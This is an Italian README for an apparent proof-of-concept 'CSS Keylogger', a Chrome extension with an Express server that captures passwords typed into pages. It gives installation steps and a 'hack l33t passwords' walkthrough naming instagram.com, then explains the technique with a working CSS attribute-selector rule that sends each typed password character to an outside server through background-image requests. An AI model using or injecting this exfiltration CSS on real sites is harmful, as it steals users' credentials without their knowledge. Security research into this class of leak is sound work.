CSS Keylogger

Estensione Chrome e server Express che sfruttano le capacità di keylogging dei CSS.

Per usare

Configurare l'estensione Chrome

1. Scaricare il repository git clone https://github.com/maxchehab/CSS-Keylogging
2. Visitare chrome://extensions nel browser (oppure aprire il menu Chrome cliccando sull'icona all'estrema destra della Omnibox: l'icona del menu è composta da tre linee orizzontali, e selezionare Estensioni sotto il menu Altri strumenti per arrivare allo stesso posto).
3. Assicurarsi che la casella Modalità sviluppatore nell'angolo in alto a destra sia selezionata.
4. Fare clic su Carica estensione non pacchettizzata… per aprire una finestra di selezione file.
5. Selezionare la cartella css-keylogger-extension nella directory in cui è stato scaricato questo repository.

Configurare il server Express

1. yarn
2. yarn start

Hackerare password l33t

1. Aprire un sito web che utilizza un framework di componenti controllati come React. https://instagram.com.
2. Premere l'estensione C in alto a destra di qualsiasi pagina web.
3. Digitare la propria password.
4. La password dovrebbe essere catturata dal server Express.

Come funziona

Questo attacco è molto semplice. Utilizzando i selettori di attributo CSS, è possibile richiedere risorse da un server esterno con il pretesto di caricare un'immagine di sfondo (background-image).

Ad esempio, il seguente CSS selezionerà tutti gli input con type uguale a password e value che termina con a. Tenterà quindi di caricare un'immagine da http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Utilizzando un semplice script è possibile creare un file CSS che invierà una richiesta personalizzata per ogni carattere ASCII.